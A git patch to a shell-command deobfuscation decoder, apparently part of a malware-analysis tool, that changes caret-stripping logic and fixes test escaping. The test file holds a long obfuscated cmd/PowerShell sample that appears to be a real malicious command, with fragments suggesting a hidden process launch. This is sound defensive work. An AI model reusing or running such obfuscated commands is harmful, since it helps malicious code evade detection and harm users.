From e6930551e9acfb5f9c47602073f483868547a249 Mon Sep 17 00:00:00 2001 From: cccs-jh <63320703+cccs-jh@users.noreply.github.com> Date: Wed, 4 Dec 2024 18:34:48 +0000 Subject: [PATCH 1/2] Improve cmd carat parsing and prevent carats in base64 encoded powershell --- src/multidecoder/decoders/shell.py | 25 +++++++++++++------------ 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/src/multidecoder/decoders/shell.py b/src/multidecoder/decoders/shell.py index 6caa9da..933adb9 100644 --- a/src/multidecoder/decoders/shell.py +++ b/src/multidecoder/decoders/shell.py @@ -25,20 +25,19 @@ def strip_carets(cmd: bytes) -> bytes: out = [] i = 0 while i < len(cmd) - 1: - if cmd[i] == ord('"'): - out.append(ord('"')) + character = cmd[i] + if character == ord('"'): + # Starts or ends a string in_string = not in_string + elif character == ord("\r"): + # Line break + in_string = False # Line breaks automatically end strings + elif character == ord("^") and not in_string: + # Skip and treat the next character literally i += 1 - elif in_string or cmd[i] != ord("^"): - out.append(cmd[i]) - i += 1 - elif cmd[i + 1] == ord("^"): - i += 2 - out.append(ord("^")) - elif cmd[i + 1] == ord("\r"): - i += 3 # skip ^\r\n - else: - i += 1 + # Add the character (or next character if ^) + out.append(cmd[i]) + i += 1 if i < len(cmd) and (cmd[i] != ord("^") or in_string): out.append(cmd[i]) return bytes(out) @@ -116,6 +115,8 @@ def find_powershell_strings(data: bytes) -> list[Node]: cmd_node = Node("shell.cmd", deobfuscated, obfuscation, start, end) if obfuscation else None if enc: split = deobfuscated.split() + if b"^" in split[-1]: + continue # Invalid Base64 b64 = binascii.a2b_base64(pad_base64(split[-1].strip(b"'\""))).decode("utf-16", errors="ignore").encode() # The powershell binary/command itself is at split[0] From 6d36bc7684727d3963f5dc39766d1cd9f0391f58 Mon Sep 17 00:00:00 2001 From: cccs-jh <63320703+cccs-jh@users.noreply.github.com> Date: Wed, 4 Dec 2024 19:25:12 +0000 Subject: [PATCH 2/2] Fix test and test warnings --- src/multidecoder/decoders/shell.py | 2 ++ tests/test_decoders/test_shell.py | 10 +++++----- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/src/multidecoder/decoders/shell.py b/src/multidecoder/decoders/shell.py index 933adb9..b85e8c2 100644 --- a/src/multidecoder/decoders/shell.py +++ b/src/multidecoder/decoders/shell.py @@ -35,6 +35,8 @@ def strip_carets(cmd: bytes) -> bytes: elif character == ord("^") and not in_string: # Skip and treat the next character literally i += 1 + if cmd[i] == ord("\r"): + i += 2 # skip \r\n # Add the character (or next character if ^) out.append(cmd[i]) i += 1 diff --git a/tests/test_decoders/test_shell.py b/tests/test_decoders/test_shell.py index 256a3c4..2d21fae 100644 --- a/tests/test_decoders/test_shell.py +++ b/tests/test_decoders/test_shell.py @@ -120,14 +120,14 @@ def test_find_cmd_strings_with_combo_of_ps1_and_cmd(): b'"rzSk=8" &&!0j0kF9ei! "vyxM=v" &&!0j0kF9ei! "vdCD=\'" &&!0j0kF9ei! "BdIj=P" &&!0j0kF9ei! "RBjV=h" ' b'&&!0j0kF9ei! "FKko=Q" &&!0j0kF9ei! "peOc=/" &&!0j0kF9ei! "vgth=G" &&!0j0kF9ei! "GyGT=T" &&!0j0kF9ei! ' b'"sHzK=M" &&!0j0kF9ei! "mSxW=y" &&!0j0kF9ei! "wasV=S" &&c!fqvE!l!duPA! !0j0kF9ei! ' - b'"de1R8TKC=%!CWUz!!kAoe!p!KxCF!\!eOTw!!Upvl!!bntB!!PbiW!!eOTw!!RDvi!!eOTw!!CWUz!.!Upvl!!swJc!e" ' - b'&& c!fqvE!!duPA!!duPA! !0j0kF9ei! "6vIlvFDq=%t!kAoe!!yYGa!%\!eOTw!!Upvl!!PbiW!!eOTw!!RDvi!!eOTw!t!ozfF!' + b'"de1R8TKC=%!CWUz!!kAoe!p!KxCF!\\!eOTw!!Upvl!!bntB!!PbiW!!eOTw!!RDvi!!eOTw!!CWUz!.!Upvl!!swJc!e" ' + b'&& c!fqvE!!duPA!!duPA! !0j0kF9ei! "6vIlvFDq=%t!kAoe!!yYGa!%\\!eOTw!!Upvl!!PbiW!!eOTw!!RDvi!!eOTw!t!ozfF!' b'!eOTw!n!yqwP!" && (for %t in ("!bnwz!v!Upvl!!AAVs!!HUXA!!eOTw!!TRHb!!RDvi!!jJxO!" "!HUXA!!eOTw!!euru!!RDvi!' b'!fqvE!!CWUz!u!AAVs!e = $w!eOTw!!RDvi!!LzmN!o!ETOj!s nt!DePj!" "!bnwz!!LzmN!e!HUXA!ti!RDvi!a!CWUz!i!TRHb' b'!!RDvi!!LzmN!!eOTw!!AAVs!!HUXA!]" "!KHMe!!bntB!5!xJuY!!vyxK!!zCOe!!qEyT!" "[!LzmN!!Upvl!f!fqvE!!PbiW!l!CWUz' b'!!eOTw!n!HUXA!tal!duPA!!ozfF!w!eOTw!n!LzmN!ow!HUXA!!yPRu!!jJxO!" "!NXuW!nR!Upvl!!euru!i!HUXA!!CWUz!e!AAVs' b'!!XBrv!!AQAM!!ADgJ!s!vyxK!F0!yPRu!F!efpU!" "d!Upvl!!duPA!!yqwP!i!duPA!!Upvl!s!vyxK!!KHMe!45!xJuY!" "!bnwz' - b'!!lGTl!!zCOe!7!lGTl!!efpU!!jJxO!" "!KxCF!!FPxK!!RfYF!M!yPRu!!LzmN!%!KxCF!!qEyT!!qEyT!%\s!VWtg!!KxCF!!qZpa' + b'!!lGTl!!zCOe!7!lGTl!!efpU!!jJxO!" "!KxCF!!FPxK!!RfYF!M!yPRu!!LzmN!%!KxCF!!qEyT!!qEyT!%\\s!VWtg!!KxCF!!qZpa' b"!FSP!efpU!%!ijwe!N!bIbp!!ijwe!h!CWUz!!KxCF!!yYGa!!bntB!I!yqwP!!bboR!!KxCF!!CJhg!!KxCF!!yqwP!hwQ!EwIP!%!yPRu" b'!!GMSj!.!qZpa!!ozfF!!bntB!!csVL!.!qEyT!9/!AAVs!o!dCLG!o!CWUz!in!euru!!ozfF!!KxCF!!CWUz!!rzSk!GcT!KxCF!" ' b'"!bnwz!A!bntB!!qZpa!!xJuY!!jJxO!" "!eOTw!!Upvl!!PbiW!!eOTw!!RDvi!!KxCF!!KHMe!y!eOTw!!PbiW!!RfYF!!KxCF!!RDvi' @@ -136,8 +136,8 @@ def test_find_cmd_strings_with_combo_of_ps1_and_cmd(): b'TRHb!!dCLG!!FPxK!" "p!bntB!I!yqwP!!bboR!!vyxK!tp" "!yqwP!!RBjV!w!FKko!!EwIP!!vyxK!/!peOc!" "!CWUz!!rzSk' b'!!vgth!c!GyGT!!vyxK!!yYGa!h!yYGa!" "!FPxK!!RfYF!!sHzK!!yPRu!!LzmN!=" "!KHMe!!mSxW!!eOTw!u!RfYF!=!eOTw!!CWUz' b'!!ozfF!i" ) do @e!VWtg!!RBjV!o %~t)> "!6vIlvFDq!" && call c!TRHb!!yYGa!!mSxW! /Y %!ETOj!!eOTw!!RDvi!d!eOTw' - b"!!AAVs!%\!wasV!!mSxW!!HUXA!t!Upvl!!kAoe!3!GMSj!\!eOTw!!Upvl!4!PbiW!i!RDvi!!eOTw!!CWUz!!ozfF!!Upvl!x!Upvl! " - b'%!CWUz!!kAoe!!yYGa!%\ && s!CWUz!!fqvE!!AAVs!t "" /m!eOTw!!RDvi! "!de1R8TKC!" -!dCLG!!fqvE!!HUXA!!Upvl!!HUXA' + b"!!AAVs!%\\!wasV!!mSxW!!HUXA!t!Upvl!!kAoe!3!GMSj!\\!eOTw!!Upvl!4!PbiW!i!RDvi!!eOTw!!CWUz!!ozfF!!Upvl!x!Upvl! " + b'%!CWUz!!kAoe!!yYGa!%\\ && s!CWUz!!fqvE!!AAVs!t "" /m!eOTw!!RDvi! "!de1R8TKC!" -!dCLG!!fqvE!!HUXA!!Upvl!!HUXA' b'!!Upvl!!CWUz!!CWUz!!eOTw!n!euru!!HUXA!"' ), ],